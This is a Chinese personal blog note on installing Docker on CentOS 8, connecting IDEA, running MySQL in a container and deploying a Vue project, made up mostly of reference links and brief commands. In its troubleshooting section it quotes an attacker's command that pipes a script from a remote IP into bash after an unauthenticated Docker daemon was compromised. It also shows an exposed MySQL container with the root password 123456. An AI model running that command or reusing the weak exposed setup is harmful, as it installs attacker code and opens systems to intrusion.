原创

Linux安装docker并配置IDEA和mysql

环境

时间 2021年8月
操作系统 Centos8

1. 安装docker

参考:

部署并使用Docker(CentOS 8) - 云服务器 ECS - 阿里云 https://help.aliyun.com/document_detail/187598.html?spm=a2c4g.11186623.6.1349.5c474828B7yxAE

2. IDEA中使用docker

【Docker学习-12】在IDEA远程连接docker(附ssl连接加密)超级详细_计忆芳华的博客-CSDN博客 https://blog.csdn.net/qq_43925089/article/details/106193871

(37条消息) IDEA使用Docker插件(Docker integration)_CodeRoc的博客-CSDN博客 https://blog.csdn.net/qq_41168609/article/details/99706754

3. 精简java镜像体积

最小化 Java 镜像的常用技巧 - SegmentFault 思否

https://segmentfault.com/a/1190000017858358

4. 安装mysql

> docker pull mysql

> sudo docker run -p 3307:3306 --name mysql -e MYSQL_ROOT_PASSWORD=123456 -d mysql

远程连接mysql用3307端口,密码为123456

#补充docker命令说明:
  -v 主机的目录作为容器的数据卷
  -e 设置启动容器是的环境变量
  -t 分配terminal终端
  --name 设置容器名称
  -p  端口映射,格式为:主机(宿主)端口:容器端口
  -link 添加链接到另一个容器

通过容器 IP 进行通信

查看mysql容器的详细信息
docker inspect mysql

找到 mysql 容器的IPAddress。修改 java 的数据库连接地址

jdbc:mysql://ip:3306

注意:重启docker mysql后ip可能变化

参考:

使用Docker搭建MySQL服务 - sablier - 博客园

https://www.cnblogs.com/sablier/p/11605606.html

docker内springboot项目连接mysql - 嘴角轻扬30的个人空间 - OSCHINA - 中文开源技术交流社区

https://my.oschina.net/u/3387320/blog/3064836

Docker部署SpringBoot+MySql项目 - 知乎

https://zhuanlan.zhihu.com/p/102802904

使用docker创建MySQL容器,并在springboot中使用 - 轻舟万里 - 博客园

https://www.cnblogs.com/qzwl/p/12358769.html

手动部署MySQL(CentOS 8) - 云服务器 ECS - 阿里云

https://help.aliyun.com/document_detail/188447.html?spm=5176.21213303.J_6028563670.7.1e813edaOdlx0e&scm=20140722.S_help%40%40%E6%96%87%E6%A1%A3%40%40188447.S_hot.ID_188447-OR_s%2Bhelpmain-V_1-P0_0

5. 部署Vue项目

docker--部署vue项目 - 邹邹很busy。 - 博客园

https://www.cnblogs.com/zouzou-busy/p/11838524.html

vue+nginx时nginx配置 - _天枢 - 博客园

https://www.cnblogs.com/yhleng/p/13704247.html

6. 遇到的问题

docker无法启动

参考以下安装docker,导致docker无法启动

阿里云ECS服务器安装docker(图文教程)-阿里云开发者社区 https://developer.aliyun.com/article/766518

{ "registry-mirrors": "https://registry.docker-cn.com", "live-restore": true }

解决方法

修改配置文件???

{

"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"]

}

参考

centos7 - Docker service start failed - Stack Overflow https://stackoverflow.com/questions/39100641/docker-service-start-failed

Docker配置镜像加速器重启Docker服务失败_游语-CSDN博客 https://blog.csdn.net/qq_26400953/article/details/79913367

遭遇黑客攻击

Docker无安全认证,导致几个小时后被以下攻击

root curl http://199.19.226.117/b2f628/cronb.sh|bash

解决方案

重装系统,重新安装docker,并添加ssh认证

mac ssh无法连接

重装系统后,mac ssh无法连接

参考

(35条消息) CentOS7.5:ECDSA host key “ip地址“ for has changed and you have requested strict checking_bang152101的博客-CSDN博客 https://blog.csdn.net/bang152101/article/details/107543582

其他

IDEA+docker实践 - 邹姣姣 - 博客园

https://www.cnblogs.com/zoujiaojiao/p/11912142.html

不要手动部署SpringBoot项目了,使用Docker真香!_Java笔记虾-CSDN博客

https://javazhiyin.blog.csdn.net/article/details/110358709

转载 江南一点雨 一键部署docker - 小傻孩丶儿 - 博客园

https://www.cnblogs.com/xiaoshahai/p/11434796.html

正文到此结束